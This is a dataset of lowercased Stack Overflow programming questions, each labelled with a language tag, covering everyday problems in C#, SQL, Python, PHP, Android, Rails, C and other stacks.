search for text in excel file c#  i m writing a windows application with c# and in one form i want to use a n excel file in this way.    in the form when the user types the employee id in a text box i wanna search the excel file and based on the id show other information for the employee in some other text boxes(name text box  last name text box  status textbox  and food count text box)    please tell me how can i retrieve the info from it .   <pre><code>public list &lt;string&gt;[] retrievecolumngeneral(excel.worksheet sheet string findwhat)     {         int columncount = sheet.usedrange.columns.count;         list&lt;string&gt;[] columnvalue = new list&lt;string&gt;[columncount];         excel.range rngresult = null;         excel.range rng = null;          int index = 0;         int rowcount = sheet.usedrange.rows.count;         excel.range findrange = null;         for (int columnindex = 1; columnindex &lt;= sheet.usedrange.columns.count;columnindex++ )         {             findrange = sheet.usedrange.columns[columnindex] as excel.range;             findrange.select();             rngresult = findrange.find(what: findwhat  lookin: excel.xlfindlookin.xlvalues                  lookat: excel.xllookat.xlpart  searchorder: excel.xlsearchorder.xlbyrows);             if (rngresult != null)             {                 columnvalue[index] = new list&lt;string&gt;();                  for (int rowindex = 1; rowindex &lt;= sheet.usedrange.rows.count;rowindex++ )                 {                     rng = sheet.usedrange[rowindex  columnindex] as excel.range;                     if (rng.value != null)                     {                         columnvalue[index].add(rng.value.tostring());                     }                 }                 index++;             }         }             array.resize ( ref columnvalue   index);         return columnvalue;     } </code></pre>   thanks i found this code . will you tell me whether this will solve my problem  (also by some modifications.),c#
troubleshooting system.io.fileloadexception  i have a .net 3.5 winforms application that runs fine on my machine  but on another machine it immediately crashes with a system.io.fileloadexception. unfortunately  there are absolutely no details on which file failed to load  so i do not know where the problem actually is.    i believe i know which one it could be (sql server compact edition)  but before i aimlessly hunt  i wonder if there is a proper way to find out what caused the fileloadexception  other than using filemon from sysinternals.    the only error message is:   <blockquote>    eventtype clr20r3  p1 myapplication.exe  p2 2.1.0.0  p3 490eca78  p4 myapplication  p5 2.1.0.0  p6 490eca78  p7 2e  p8 21  p9 system.io.fileloadexception  p10 nil.  </blockquote>,.net
any suggestion on how to simplify this code   example 1:   <pre><code>    $name                =$this-&gt;input-&gt;post( name   true);      $address             =$this-&gt;input-&gt;post( address   true);     $website             =$this-&gt;input-&gt;post( website   true);     $phone               =$this-&gt;input-&gt;post( phone   true);     $fax                 =$this-&gt;input-&gt;post( fax   true);   </code></pre>   it make me some many code  because i allow user to input many information....,php
host service dictionary categorisation  the dictionary i created is not the output i want  i have no idea what wrong with my code.    the code is below:   <pre><code>hostinfodict = {  192.168.247.62 : {80:  http   8080:  http-proxy }    192.168.247.64 : {80:  http   8080:  http-proxy }    192.168.247.74 : {80:  http   8080:  http-proxy } }  for host  hostinfo in hostinfodict.items():      httphoststatusdict = {}      for port in hostinfo.keys():         urls =  http://  + host +  :  + str(port) +  /thredds/catalog.html          #print(urls)         try:             r = requests.get(urls  timeout=0.5  allow_redirects=false)             #print(urls  r.status_code)         except requests.exceptions.httperror:                an http error occurred.                pass         except requests.exceptions.connectionerror:                a connection error occurred.                pass         except requests.exceptions.timeout:                             the request timed out while trying to connect to the remote server.              requests that produced this error are safe to retry.                             pass         except requests.exceptions.requestexception:                             there was an ambiguous exception that occurred while handling your request.                             pass          try:             if urls not in httphoststatusdict:                 httphoststatusdict[urls] = str(r.status_code)         except:             pass     print(httphoststatusdict) </code></pre>   the output of the above code is shown as following. they are separated instead of a whole dictionary.   <pre><code>{ http://192.168.247.62:80/thredds/catalog.html :  200    http://192.168.247.62:8080/thredds/catalog.html :  200 } { http://192.168.247.64:80/thredds/catalog.html :  404    http://192.168.247.64:8080/thredds/catalog.html :  404 } { http://192.168.247.74:80/thredds/catalog.html :  200    http://192.168.247.74:8080/thredds/catalog.html :  200 } </code></pre>   the expected output is    <pre><code>{  { http://192.168.247.62:80/thredds/catalog.html :  200 }   { http://192.168.247.62:8080/thredds/catalog.html :  200 }   { http://192.168.247.64:80/thredds/catalog.html :  404 }    { http://192.168.247.64:8080/thredds/catalog.html :  404 }   { http://192.168.247.74:80/thredds/catalog.html :  200 }    { http://192.168.247.74:8080/thredds/catalog.html :  200 } } </code></pre>   this is a python request project :) i think it is a code issue so i don t think you need to install that library. your help is my appreciate.,python
how do i target the next element in css   i m not sure if this is possible  but is it possible to identify the div just below the div class  if so  what would i use to do it    <pre><code>&lt;div class= img-wrap &gt; &lt;div&gt;&lt;/div&gt; &lt;---------------- this &lt;div class= img-wrap &gt; &lt;div&gt;&lt;/div&gt; &lt;---------------- this &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt; &lt;div class= img-wrap &gt; &lt;div&gt;&lt;/div&gt; &lt;---------------- this </code></pre>,css
how to calculate percentage in sql   i have to calculate percentage based on count. given below is a sample data table.   <pre><code>teamname   count1   count0 --------   -----    ------ team1        1        2 team2        3        0 team3        1        1 </code></pre>   i want to display the percentage based on the <code>greatest value</code> in <code>count1</code>. <code>the expecting output sample is given below:</code>    expecting out put :   <pre><code>teamname   count1   count0  percentage1  percentage0 --------   -----    ------  -----------  ----------- team1        1        2        33.33%         66.6% team2        3        0        100%           0% team3        1        1        33.33%         33.33%   </code></pre>   help me to find a proper solution. thank you.,sql
debugging c++ app in visual studio 2017 steps into not my code is there a way to turn this off   ok so when debugging  for example when i set my breakpoint on simple string declaration    <pre><code>string a; </code></pre>   and then pressing f11 (step into) my debugger steps into xstring file  and i don t want it. i want it to step into just my code  it works fine with c# tho.    [c++] <a href= https://i.imgur.com/qvpfnwf.png  rel= nofollow noreferrer >https://i.imgur.com/qvpfnwf.png</a>    [c# and what i want it to be in c++ also] <a href= https://i.imgur.com/j3sagjr.png  rel= nofollow noreferrer >https://i.imgur.com/j3sagjr.png</a>    i have  just my code  enabled and i don t know what to do. i just dont want it to step in not my files.,c++
when i try to create a job  it will show error in views/jobs/_form.html.erb company must exist  company name should populate automatically <pre><code>class createjobs &lt; activerecord::migration[5.1]   def change     create_table :jobs do |t|       t.string :title       t.text :description       t.string :company       t.integer :user_id       t.integer :company_id       t.timestamps     end   end end  class createcompanies &lt; activerecord::migration[5.1]   def change     create_table :companies do |t|       t.string :c_name       t.text :c_description       t.integer:user_id       t.timestamps     end   end end  # models class user &lt; applicationrecord   # include default devise modules. others available are:   # :confirmable  :lockable  :timeoutable and :omniauthable   devise :database_authenticatable  :registerable           :recoverable  :rememberable  :trackable  :validatable    has_many :companies   has_many :jobs end  class job &lt; applicationrecord     belongs_to :user     belongs_to :category     belongs_to :company end  class company &lt; applicationrecord     belongs_to:user     has_many:jobs  end  # jobs controller def show         end          def new                 @job = current_user.jobs.build                end  def create         job_attrs = jobs_params.except(:company)         job_attrs[:company] = company.find_by(id: jobs_params[:company])         @job = current_user.jobs.build(job_attrs)        if @job.save         flash[:success]=  success          redirect_to @job          else          flash[:error]=@job.errors.full_messages         render  new          end     end  def jobs_params             params.require(:job).permit(:title  :description  :company  :category_id  :image :jobclosedate :company_id) end </code></pre>   this is the views/jobs/_form   <pre><code>&lt;%= simple_form_for(@job validation:true  html: { mutlipart: true  class:  form-horizontal }) do |f| %&gt; &lt;%= f.input :title  label:  job title   input_html: { class:  form-control }%&gt; &lt;%= f.input :description  label:  job description   input_html: { class:  form-control  }%&gt; &lt;%= f.input :company  label:  your company   input_html: { class:  form-control  }%&gt; &lt;%= f.collection_select :category_id category.all  :id  :name  {promt:  choose a category  }%&gt; </code></pre>   when i try to create a job  it will show in views/jobs/_form.html.erb    <blockquote>     company must exist  (job/_form will not get the company name from company module )   company should populate automatically in the views/jobs/_form.html.erb  it will not automatically populated and it show company mush exit  </blockquote>,ruby-on-rails
android gps time 1 hour early than network time  when i m doing testing on an android phone  the gps time is always 1 hour early than the network time. the timezone and gps location are correct. i want my program work when there is no signal. i only have 2 models i can test on.does this happen often,android
join table very slow how can i fix it   i have problem with my query because of joining a lot of table.   so i would like to find another ways beside this query but the result it the same. my code is bellow :    <pre><code>select      tblreturn.countryid       tblreturn.shoplocationid       tblreturn.returnid       tblvoucherdetail.voucherdetailid      tblvoucherdetail.voucherno      tblvoucherdetail.barcodevoucher       tblreturn.datetimestamp as datetimereturn      tblclient.clientnostring       tblsaledetail.barcode       tblreturntype.description       tblreturn.reason       tblsale.datetimestamp as datetimesale tblreturn.status  from  (     tblsale      inner join      (         (             (                 tblreturn                  inner join                  (                      tblvoucherdetail                       inner join                      tblvoucher on tblvoucherdetail.voucherid = tblvoucher.voucherid                 ) on tblreturn.returnid = tblvoucher.returnid             )              inner join                   tblclient              on                   tblvoucherdetail.clientno = tblclient.clientno         )          inner join              tblsaledetail          on              tblreturn.saledetailidorigin = tblsaledetail.saledetailid)          on              (tblsale.saleid = tblsaledetail.saleid)          and              (tblsale.shoplocationid = tblsaledetail.shoplocationid))          inner join              tblreturntype          on              tblreturn.returntypeid = tblreturntype.returntypeid         where              tblreturn.countryid = 7          and               tblreturn.shoplocationid = 4           order by              tblvoucherdetail.voucherdetailid desc </code></pre>   how can i adjust it,mysql
c is this branchless hack actually faster   i m trying to clamp a value between -127 and 127 on a cortex-m based <a href= http://www.vexrobotics.com/276-2194.html  rel= nofollow >microcontroller</a>.    i have two competing functions  one uses conditionals the other uses a branchless hack i found <a href= http://bob.allegronetwork.com/prog/tricks.html  rel= nofollow >here</a>.   <pre><code>// using conditional statements int clamp(int val) { return ((val &gt; 127)   127 : (val &lt; -127)   -127 : val); }  // using branchless hacks int clamp(int val) {     val -= -127;     val &amp;= (~val) &gt;&gt; 31;     val += -127;     val -= 127;     val &amp;= val &gt;&gt; 31;     val += 127;      return val; } </code></pre>   now i know in some cases one of these methods might be faster than the other  and vise-versa but in general is it worth it to use the branchless technique seeing as it doesn t really matter to me which i use  they both will work just fine in my case     a little background on the microcontroller  it s a arm based microcontroller running at 90 mips with a 3 stage pipeline  fetch  decode and execute and it seems to have some sort of branch predictor but i couldn t dig up details.,c
how is this valid php code   i m modifying a wordpress template and i m curious as to how this is a valid control structure in php.  anyone have any insight    <pre><code>&lt; php if(condition):  &gt; &lt; php if(!condition || !function())  &gt; &lt; php elseif(condition):  &gt; &lt; php if(!condition || !function())  &gt; &lt; php endif;  &gt; </code></pre>   if i remove all the tags  i get (with more sane indentation):   <pre><code>&lt; php if(condition):     if(!condition || !function()) elseif(condition):     if(!condition || !function()) endif;  &gt; </code></pre>   which is invalid because the indented <code>if</code> statements don t end.  so how/why is this code valid if there are opening and closing php tags everywhere    <hr>   edit for kerrek sb.  make a php file and run it.  it s valid:   <pre><code>&lt; php if(true):  &gt; &lt; php if(true)  &gt; &lt; php endif;  &gt; &lt; php echo  here ;  &gt; </code></pre>,php
about splitting a number into thousands  i think i did something wrong with my algorithm that i was trying to split my  number 150000 into thousands with for loop. i want the output to be like 150 000. i was just having trouble coming up with a nice way doing it.     here are my codes:   <pre><code>public class testing {      public static void main(string[] args) {         // todo auto-generated method stub         string l=  150000 ;         for(int i=l.length();i&lt;0;i--){             if ((i/4)==0){                 l=   +l.substring(i  l.length()-1);             }         }         system.out.println(l);     }  } </code></pre>,java
in app promotion best practices  i d like to create a framework to advertise my other apps in an app. i think i can simply create a uibutton placed in main menu screen or home view to lead users to an uiview which contains our other app s info. however  in that way  if i want to update or add new other apps in the uiview  i need to create a new version for the app.    i need an approach that i can update the other app list whenever i want. thanks for reading!,iphone
check box text alignment with button tint  i am facing an issue maybe i might have a device issue.     single linear layout    <strong>what i am doing</strong> : creating login form with three view i.e. edit text  button(initially visibility gone)   checkbox.    <strong>what i am facing</strong> :  as soon as i check with check box  button get visible and check box moves below since i have provided margin top and my view is like this :    <strong>edit text button(visibility gone) checkbox(with margin top)</strong>    as soon as i am checking on checkbox i am making the button visible but i am facing two issue.    <strong>issue 1:</strong> check box when checked the text moves a litte upward but button tint do not move it does remain fixed    <strong>issue 2:</strong> since i have given margin top and button is not visible currently when i am checking the whole check box view is now taking margin from button which earlier it was taking from edit text and still <strong>issue 1</strong> is observed again    my xml code is here :   <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      android:padding= 0dip      tools:context= .loginactivity &gt;      &lt;com.medmainfomatix.voipvoiceapp.myviewpager         android:id= @+id/viewpagervertical          android:layout_width= match_parent          android:layout_height= match_parent          android:layout_margintop= 150dp &gt;      &lt;linearlayout         android:layout_width= match_parent          android:layout_height= match_parent          android:id= @+id/layout_sms          android:gravity= center_horizontal          android:orientation= vertical &gt;            &lt;android.support.design.widget.textinputlayout             android:layout_width= wrap_content              android:layout_height= wrap_content              android:layout_marginbottom= 50dp              android:layout_gravity= center              &gt;              &lt;edittext                 android:id= @+id/loginno                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:singleline= true                  android:minwidth= 200dp                  android:layout_gravity= center_horizontal                  android:textsize= 25sp                  android:maxlength= 10                  android:textcolor= @color/white                  android:hint= @string/msg_enter_mobile                  android:digits= 1234567890                  android:textcursordrawable= @null                  android:inputtype= phone &gt;                  &lt;requestfocus /&gt;              &lt;/edittext&gt;          &lt;/android.support.design.widget.textinputlayout&gt;          &lt;button             android:id= @+id/btn_request_sms              android:layout_width= wrap_content              android:layout_height= wrap_content              android:text= next              android:minheight= 50dp              android:minwidth= 170dp              android:background= @color/btnclr              android:textcolor= @color/pink              android:textsize= 20sp              android:textstyle= bold              android:visibility= gone  /&gt;        &lt;checkbox             android:id= @+id/checkbox1              android:layout_width= wrap_content              android:layout_height= wrap_content              android:gravity= center              android:layout_margintop= 200dp              android:layout_gravity= center_horizontal              android:textcolor= @color/white              android:buttontint= @color/white /&gt;       &lt;/linearlayout&gt;          &lt;linearlayout             android:layout_width= match_parent              android:layout_height= match_parent              android:id= @+id/layout_otp              android:gravity= center_horizontal              android:orientation= vertical &gt;               &lt;textview                 android:id= @+id/otptext1                  android:layout_width= match_parent                  android:layout_height= wrap_content                  android:gravity= center                  android:layout_marginbottom= 15dp                  android:paddingleft= 40dp                  android:paddingright= 40dp                  android:layout_gravity= center                  android:text= @string/msg_manual_otp                  android:textcolor= @android:color/white                  android:textsize= 12dp                  /&gt;              &lt;android.support.design.widget.textinputlayout                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_margintop= 50dp                  android:layout_gravity= center                  &gt;                &lt;edittext                 android:id= @+id/inputotp                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:singleline= true                  android:minwidth= 120dp                  android:layout_gravity= center                  android:textsize= 25sp                  android:maxlength= 6                  android:textcolor= @color/white                  android:hint= @string/lbl_enter_otp                  android:digits= 1234567890                  android:textcursordrawable= @null                  android:inputtype= number &gt;                  &lt;requestfocus /&gt;              &lt;/edittext&gt;              &lt;/android.support.design.widget.textinputlayout&gt;              &lt;button                 android:id= @+id/loginbutton                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_gravity= center_horizontal                  android:layout_margintop= 15dp                  android:text= verify                  android:background= @color/btnclr                  android:minheight= 50dp                  android:minwidth= 170dp                  android:textcolor= @color/pink                  android:textsize= 20sp                  android:textstyle= bold                  /&gt;          &lt;/linearlayout&gt;     &lt;/com.medmainfomatix.voipvoiceapp.myviewpager&gt;  &lt;/relativelayout&gt; </code></pre>   see only for layout sms since i have used view pager dont look at otp section. i am thinking to increase the text size of checkbox.    here are two screenshot sorry for the delay. <a href= https://i.stack.imgur.com/q0qbd.png  rel= nofollow noreferrer >before</a>    <a href= https://i.stack.imgur.com/yp7t5.png  rel= nofollow noreferrer >after</a>,android
generate shadow in android for dialog window  i would like to ask about generating the shadow for the following requirement in android:   <ol> <li>color: #000000  opacity: 12</li> <li>x: 0  y: 4  blur: 12</li> </ol>   i saw the there is shadowcolor  shadowdx  shadowdy  shadowradius.   <pre><code>&lt;item name= android:shadowcolor &gt;#1f000000&lt;/item&gt; &lt;item name= android:shadowdx &gt;0&lt;/item&gt; &lt;item name= android:shadowdy &gt;4&lt;/item&gt; &lt;item name= android:shadowradius &gt;12&lt;/item&gt; </code></pre>   i think there is no blur item to set. but shadowradius seems not the one that i want.     can i help me explaining what these means  totally not familiar with these terms.     thanks a lot.,android
sql update table select from other table  i want to update multiple value of my table ordre      table ordre   <pre><code>cp   insee  what --   -----  ---- 1    null   cake 2    null   coki 3    null   lopi </code></pre>   table theinsee   <pre><code>  cp   insee   --   -----   1    a   2    b   3    c </code></pre>   how can update my table ordre to get like this    <pre><code>cp   insee  what --   -----  ---- 1    a      cake 2    b      coki 3    c      lopi </code></pre>,sql
how to edit string letters in a for loop  i m new with python and i really cannot find a way to do this.    i want to change the letters of a string based on some criteria. here is the code:   <pre><code>for c in text:     ordchar=ord(c)     if ordchar&gt;=65 and ordchar&lt;=90:         ordchar=ordchar+13         if ordchar&gt;90:             ordchar=ordchar-90+64         c=chr(ordchar)     else:         if ordchar&gt;=97 and ordchar&lt;=122:             ordchar=ordchar+13             if ordchar&gt;122:                 ordchar=ordchar-122+96             c=chr(ordchar) return text </code></pre>   the returned <code>text</code> value is the same as the parameter value. i thought variables were pointers  so editing <code>c</code>  it should edit <code>text</code>. what am i doing wrong,python
how to select multiple picture from private document directory folder not from photo gallery in iphone  i am new to i phone programming.can any body tell me that how to select multiple pictures form private document directory folder.i got some code like elcimagepickercontroller by using this i can able to select form photo gallery images but i want to select images form private document folder.can any body tell me that how can i do this.,iphone
aggregate sql query  group by causing issues  everything in this query works except for the second left join  where begin_date and end_date are. because i have to group by the additional columns  so they can be used in the  on join   i am getting false numbers. is there any way to do this without having to group by. i hope this makes sense. basically because i have to include begin_date and end_date in the group by  everything gets lost.    <pre><code>select      to_char(t1.call_timestamp  yyyy-iw ) as omonth      count(t1.house) as nodecalls      t3.node_code      t5.nodecustcount      t1.call_category_lvl_3      sum((case when t1.tc_wip_transaction_id is not null  then 1 else 0 end )) as tc      sum((case when t1.tc_wip_transaction_id is not null  then 1 else 0 end ))/nullif(count(t1.house)  0)    as svratepercall      count(t1.house)/ nullif(t5.nodecustcount  0)  as callrate  from cvkomnzp.nzkomuser.nfov_inbd_remedy_call_details  t1  left join           (                  select t2.node_code t2.begin_date t2.end_date t2.house t2.corp                 from cvkomnzp.nzkomuser.d_household_ch_hist t2           ) t3  on  t1.corp = t3.corp and t1.house = t3.house and (t1.call_timestamp between t3.begin_date and t3.end_date)   left join           (                  select count(adm_household_id) as nodecustcount node_code begin_date  end_date                 from cvkomnzp.nzkomuser.d_household_ch_hist                 where house_status_code = 2                       and end_date =  2999-12-31 00:00:00                      and t1.call_timestamp between begin_date and end_date                 group by node_code begin_date end_date          ) t5  on  t5.node_code = t3.node_code  and t1.call_timestamp between t5.begin_date and t5.end_date  where t1.exclusion_flag =  n           and t1.call_timestamp &gt;= to_date ( 07-29-2017    mm-dd-yyyy  ) and t1.call_timestamp &lt;= to_date ( 07-31-2017    mm-dd-yyyy  )  group by      to_char(t1.call_timestamp  yyyy-iw )      t3.node_code      t5.nodecustcount      t1.call_category_lvl_3 </code></pre>,sql
why timestamp value is null on ruby on rails  i use goldilocks database seems like oracle.    i have one record on the database.   <pre><code>gsql&gt; desc posts  column_name    type                           is_nullable -------------- ------------------------------ ----------- nu             number                         true name           character varying(4000)        true date_test      date                           true timestamp_test timestamp(6) without time zone true created_at     timestamp(6) without time zone true updated_at     timestamp(6) without time zone true   gsql&gt; select nu  name  date_test  timestamp_test from posts;  nu name date_test           timestamp_test -- ---- ------------------- --------------------------  4 qwe  2018-03-14 00:00:00 2018-03-23 00:59:00.000000  1 row selected. </code></pre>   when i put the record on the server console of ruby on rails  i get null only for time-related variables.    here is source and console.   <pre><code>@posts.each do |post|      if (post.nu == nil) then       puts  [null]    + post.nu +         else       puts post.nu.to_s     end      if (post.name == nil) then       puts  [null]    + post.name +         else       puts post.name.to_s     end      if (post.date_test == nil) then       puts  [null]    + post.date_test.to_s +         else       puts post.date_test.to_s     end      if (post.timestamp_test == nil) then       puts  [null]    + post.timestamp_test.to_s +         else       puts post.timestatmp_test.to_s     end      puts  [api time]   + time.now.to_s end </code></pre>   server output   <pre><code>started get  /posts  for 192.168.0.40 at 2018-03-08 14:53:28 +0900 processing by postscontroller#index as html   post load (6.8ms)  select posts.* from posts 4 qwe [null]    [null]    [api time] 2018-03-08 15:02:07 +0900   rendering posts/index.html.erb within layouts/application </code></pre>   what should i do,ruby-on-rails
help needed to generically handle communication in a message queued environment-- multiple clients!  assume there are 3 clients and a server.they communicate using a message queue   but the 3 clients send varying data (for ex 1st client may send a integer   2nd may send a string etc). is there any way for the server to generically handle this     thanks in advance!!,c
visual studio 2012 fails to monitor memory   i got a windows 7 os  project is 32bits running on 64 bits architecture  .net 4.5 ide : visual studio 2012 app : a console app.    i want to monitor the memory usage of my exe.    i go to analyse/start memory and get an  error message :  variable environment are not set  i must run vsperfclrenv /samplegclife to set correct env variables. i naievely thought that visual studio wuld call the exe to set the vars  why asking me to do this      i am not launching from a shell window  where i would set the vars  start the analyze then launch my exe and finally stop the profiler.  i am inside the ide  this should be done by the tool.     by the way  analyzing uc works ok  without calling vsperfclrenv.    what is wrong here      many thanks :),.net
how to bind ng-model to ng-checked boxes  i am having a problem binding angular ng-check to ng-model  that is ng-model does do not recognize the selected state of my check boxes.    here is a description(its a much larger code base but i have tailored to minimize code).    on page load in javascript i initialize my products and set the default values:   <pre><code>$scope.products = {} $scope.setproductsdata = function() {     var allproducts;     allproducts = [       {         id: 1          name:  book           selected: true       }  {         id: 2          name:  toy           selected: true       }  {         id: 3          name:  phone           selected: true       }] </code></pre>   i have a master control in my view that list a check box  for each 3 products(book toy and phone):these are checked by default   <pre><code>&lt;div style= float:left  ng-init= allproducts.products = {}  &gt;     &lt;div ng-repeat= p in data.products &gt;         &lt;div style= font-size: smaller &gt;             &lt;label&gt;&lt;input id= divplatorm   ng-model= products[p.name]  ng-init= products[p.name] = true  type= checkbox /&gt;                 {{p.name}}&lt;/label&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   then a table that have the same products repeated in rows:   <pre><code>&lt;div ng-repeat= line in lineproducts  ng-init= line.products = {} &gt;     &lt;div id= sc-p-enc  ng-repeat= p in data.products &gt;         &lt;div id= sc-p-plat  style= font-size: smaller &gt;             &lt;label id= pl-label &gt;&lt;input ng-checked= products[p.name]   ng-model= line.products[p.name]   ng-init= line.products[p.name] = true  type= checkbox /&gt;                                                     {{p.name}}&lt;/label&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   when i check/unchecked the master products the corresponding check boxes changes in the rows. so if i have 100 rows with   (book toy and phone) the unchecked toy i can see where all toys are unchecked in the rows.    when i send the data to my controller i can still see all toys = true even though they were unchecked.    if i physically go to the row then unchecked each toy and send the data to my controller toys = false.    how can i get the check boxes selected state to change when controlled from the master check-boxes     i have followed the post found here but i dont think this applies to my scenario: <a href= https://stackoverflow.com/questions/16601018/angularjs-ng-model-not-binding-to-ng-checked-for-checkboxes >angularjs: ng-model not binding to ng-checked for checkboxes</a>,angularjs
need clarification on this return type  i came across <a href= https://stackoverflow.com/questions/18462937/objective-c-cocoahttpserver-trying-to-do-a-simple-get-request-with-one-paramet >this</a> post here and i am not sure on the validity of the code.  however i never came across something like this or read anything about this (i just started objectivec). here is the code sample   <pre><code>@implementation myhttpconnection      - (nsobject&lt;httpresponse&gt; *)httpresponseformethod:(nsstring *)method uri:(nsstring *)path     {     httplogtrace();      if ([path isequaltostring:@ /getelement ])     {             nsdata *data = ...             httpdataresponse *response = [[httpdataresponse alloc] initwithdata:data];             return response;     }          // default behavior for all other paths       return [super httpresponseformethod:method uri:path];     }  @end </code></pre>   my question is what is the return type here     <pre><code>(nsobject&lt;httpresponse&gt; *) </code></pre>   it looks to me as a nsobject pointer that implements the httpresponse object. i am of the opinion that it could be simply written like this   <pre><code>nsobject * </code></pre>   am i missing anything   i am not sure why the above would be chosen. especially with the nsobject . any suggestions   clarifications on this would be appreciated.,objective-c
how to load all data on client  i m working on an asp.net website with telerik controls. im using multiple conditional grids (show data based on selection in a grid.) every time i do new selection it is kinda slow (i m using ajax call). is it possible to preload all data to the client and then instantly show it to user. i mean  is there any simple way of doing so,asp.net
keepalived + mysql with periodic  misc_check  i have  keepalived + mysql (master - master) setup done.     i have kept the priority same for master and backup because i don t want them to start flapping frequently (one time switch of vip is good enough).    this setup works fine if i use the simple  vrrp-script  to check if mysql daemon is down. e.g.   <pre><code>script to check mysql daemon vrrp_script chk_mysql {    script  killall -0 mysqld       # verify the pid is exist or not    interval 2                           # check every 2 seconds    weight 2 } </code></pre>   i want to make it work with deeper health check with one python script. i want to use misc_check for that.    e.g.   <pre><code> misc_check {            misc_path “script_to_call_python_script.sh xxxx xxxx xxxx xxxx”            misc_timeout  5         } </code></pre>   my query is:   <ol> <li>how can i make the misc_check to run at specified intervals </li> <li>otherwise  what is  required  output of script in  vrrp_script   so that i could run   shell script there (which runs are periodic interval) </li> </ol>,mysql
what s the asp.net equivalent for c/c++ #define   can you guys let me know the asp.net equivalent for c/c++ #define  thanks,asp.net
should i move the class to the end of the file by using the forward declaration   in one file  i can write the following two codes  which one is better for other maintainers     first (top-down feeling):   <pre><code>class b; class a {   b *b; }; class b { }; </code></pre>   second (bottom-up feeling):   <pre><code>class b { }; class a {   b *b; }; </code></pre>,c++
calling function with unknown parameters  i have to call function with few parameters. i don t know count of parameters but they are well known in compilling time. i need store it and cast to (void*)() but when reinvoke it  need to call it with parameters. i am assuming that parameters will be on the stack.   <pre><code>void f(int a  int b) {   ... }  (void*)() c = (void*)()f;   ... pop param2; pop param1; call c; </code></pre>   is it possible to do soemthing like that  i need it becouse i am looking for a way how to call function from my interpreter and wish to have something like compilling time function registration and than direct invoking it from my assembler. so i am assuming that parameters for function will be on my own stack. i could rewrite them to real stack and then invoke function with this parameters.     or maybe there is other way to achieve this     i m using gcc.    this temporary solved my problem but it s very far from ideal:   <pre><code>auto&amp; called = ctx.functions[funcname]; shortword param1; shortword param2; switch(called.parameterscount) {     case 0:         called.address();         break;     case 1:         param1 = ctx.locals.top();         ctx.locals.pop();         (reinterpret_cast&lt;void (*)(void*)&gt;(called.address))((void*)param1);         break;     case 2:         param1 = ctx.locals.top();         ctx.locals.pop();         param2 = ctx.locals.top();         ctx.locals.pop();         (reinterpret_cast&lt;void (*)(void*  void*)&gt;(called.address))((void*)param1  (void*)param2);         break; }  void abc(shortword sw) {     shortword tmp = sw;     for(int i = 0; i &lt; tmp; ++i)     {         std::cout&lt;&lt;i&lt;&lt;std::endl;     } } </code></pre>,c++
how to prevent combobox selectionchangedevent from firing when using keyboard arrow keys   i have a combobox that s populated with a number of items.    i ve specified a <code>selectionchangedevent</code> as follows:   <pre><code>cbo.selectionchangedevent += (s  e) =&gt; doselectionchangedthing(); </code></pre>   this works well enough when i click an item in the combobox; <code>doselectionchangedthing()</code> runs as expected.    the problem is that if i use the arrow up or down keys to cycle through the items  each time i arrow up or down <code>doselectionchangedthing()</code> fires.     is there a way to prevent this,c#
android - run a block of code when volley response generated  in my android application  i use volley to get some information then dynamically create the layout. the problem is i want to add a button click listener to one of the views of the layout that created dynamically but i have to wait till the volley response. it s a button click listener so i can t put the onclicklistener in the response block  so here is the question: <strong>how i can understand when the response is generated and put the onclicklistener in it </strong>,android
join  two models in angularjs  i have a form that display editable values.  one of those values is an id of a user.  i don t want to display the id of the user i want to display the users name.    i do this and it works great:   <pre><code>    &lt;div class= control-group &gt;       &lt;label class= control-label  for= type &gt;point of contact&lt;/label&gt;       &lt;div class= controls &gt;         &lt;select ng-model= device.poc  ng-options= user._id as user.username for user in users &gt;         &lt;/select&gt;       &lt;/div&gt; </code></pre>   now i am trying to display a list of all devices in a non-editable form so i loop devices with an ng-repeat.   <pre><code>&lt;div ng-repeat= device in devices | filter:{registered: true}  class= top-gap &gt;      &lt;div class= row &gt;         &lt;div class= span2 &gt;           {{device.name}}         &lt;/div&gt;         &lt;div class= span2 &gt;           {{device.poc}}         &lt;/div&gt;       &lt;/div&gt; </code></pre>   but device.poc is not what i want to display  i want to display the users name that is attached to that device.  in the mustaches  {{}}  can i  join  to the users model like i did in the select so i can display the users name,angularjs
show data entry form as dialog asp.net  i have  add new folder  button in my asp.net form and i need to show dialog in order to make the user able to enter the folder name  how can i accomplish that in asp.net,asp.net
segmentation fault with strtok <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; int main(){         char path[] =  /fs/lost+found ;         char* temp;         temp =  strtok(path  lost+found );         while(temp != null){                 printf( \n %s \n  temp);                 temp = strtok(path  lost+found );         }         return 0; } </code></pre>   i wanted to extract the string lost+found. the above program goes into an infinite loop and prints the  /  that is before the delimiter  lost+found     [root@rs]# ./a.out segmentation fault,c
objective-c: how to round of double to 2 decimal places if there is some value after decimal otherwise the value should be rounded to 0 decimal places  how to format a decial value as follows:   <pre><code>/// variable double value = 9.99999  /// conversion nssting* str = [nsstring stringwithformat:@ %.2f   value];  /// result 9.99 </code></pre>   but when the value is <strong>9.00000</strong> it is returning <strong>9.00</strong>    how should i format the string that it would show <code>9.0000 as 9</code> and <code>9.99999 as 9.99</code>,objective-c
computing stirling s approximation of user input python  i m a massive python noob and have been tasked with      write a program that computes n factorial using stirling’s approximation. your program should prompt the user to input a value for n and should then compute the stirling approximation for n! and output “the approximation is xxx which is yy of the exact answer” where xxx is the stirling approximation and yy is xxx/n!. (the value of yy should be close to 1 if the approximation is good.)     i wrote   <pre><code>import math  n = input(int( enter a value for n:  )  xxx = math.sqrt(2*math.pi*n)*(n/math.e)**n yy = xxx/n            print( the approximation is xxx which is yy of the exact answer ) </code></pre>   this is probably completely wrong  whats a simple way to do it,python
is filestream a managed or unmanaged code   i was asked this question in an interview and i said the answer was managed. the interviewer seemed surprised. my question is even though it access a file (a native/unmanaged resource) but isn t this class managed  or do you think i should have some follow up questions to get more clarification,.net
